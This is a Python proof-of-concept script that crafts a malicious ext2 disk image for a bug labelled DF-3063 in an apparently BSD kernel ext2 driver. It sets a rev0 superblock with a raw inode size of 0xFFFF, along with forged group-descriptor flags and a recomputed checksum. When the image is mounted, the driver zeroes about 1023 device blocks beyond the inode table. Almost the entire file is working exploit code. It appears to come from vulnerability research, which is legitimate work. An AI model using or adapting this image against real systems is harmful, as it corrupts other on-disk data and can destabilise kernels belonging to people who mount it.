#!/usr/bin/env python3
"""Craft the DF-3063 trigger image.

REV0 superblock (bypasses both the inode_size validation and the
feature-mask check in ext2_check_sb_compat) with the GDT_CSUM feature
bit set, EXT2_BG_INODE_ZEROED *clear*, bg_itable_unused = ipg, and the
RAW s_inode_size field inflated to 0xFFFF.

ext2_zero_inode_table() computes
    all_blks = le16toh(fs->e2fs->e2fs_inode_size) * ipg / bsize  (raw!)
    used_blks = howmany(ipg - itable_unused, bsize/e2fs_isize)    (=0)
    for (i = 0; i < all_blks - used_blks; i++)
        getblk+clrbuf+bawrite(i_tables + used_blks + i)
(sys/vfs/ext2fs/ext2_alloc.c:1251-1267) => 1023 zeroed device blocks
starting at the inode table (mount only validated itpg=2 blocks).

bsize=1024, isize=128 (ipb=8), ipg=16 (>=ipb legal), 1 group.

Usage: craft3063.py <out.img>
"""
import struct, subprocess, sys

SB = 1024

def crc16_tab():
    tab = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
        tab.append(c)
    return tab
TAB = crc16_tab()

def crc16(buf, crc):
    for b in buf:
        crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF
    return crc

def gd_csum(uuid, cg, gd):
    crc = crc16(uuid, 0xFFFF)
    crc = crc16(struct.pack('<I', cg), crc)
    crc = crc16(gd[0:30], crc)
    return crc

def main(out):
    # 4MB, ext2 (rev 0), 1024-byte blocks, 128-byte inodes
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-N', '16', out, '4096'], check=True)
    f = open(out, 'r+b')
    f.seek(SB); sb = bytearray(f.read(1024))
    assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53

    def p32(o, v): struct.pack_into('<I', sb, o, v)
    def p16(o, v): struct.pack_into('<H', sb, o, v)
    def u32(o): return struct.unpack_from('<I', sb, o)[0]

    bsize   = 1024 << u32(0x18)
    uuid    = bytes(sb[0x68:0x78])

    p32(0x4C, 0)              # s_rev_level = 0  => isize:=128, raw field free
    p16(0x58, 0xFFFF)         # s_inode_size (RAW) = 0xFFFF  (unvalidated @rev0)
    p32(0x10, 16)             # s_free_inodes_count = 16
    p32(0x28, 16)             # s_inodes_per_group = 16 (>= ipb=8: legal)
    ro = u32(0x64)
    p32(0x64, ro | 0x0010)    # ro_compat |= GDT_CSUM (rev0 skips feature gate)

    # group descriptor 0 (block 2 for bsize 1024)
    f.seek(2 * bsize); gd = bytearray(f.read(32))
    itable = struct.unpack_from('<I', gd, 8)[0]
    struct.pack_into('<H', gd, 14, 16)         # bg_free_inodes_count = 16
    flags = struct.unpack_from('<H', gd, 18)[0]
    struct.pack_into('<H', gd, 18, flags & ~0x4)  # EXT2_BG_INODE_ZEROED clear
    struct.pack_into('<H', gd, 28, 16)         # bg_itable_unused = ipg => used=0
    struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd))

    f.seek(2 * bsize); f.write(gd)
    f.seek(SB); f.write(sb)
    f.close()
    print(f"craft3063: itable={itable} itpg=2 all_blks={0xFFFF*16//1024} "
          f"zeroed-blocks=[{itable}..{itable + 0xFFFF*16//1024 - 1}] "
          f"gd_flags={flags & ~0x4:#x}")
    print(f"OK wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])
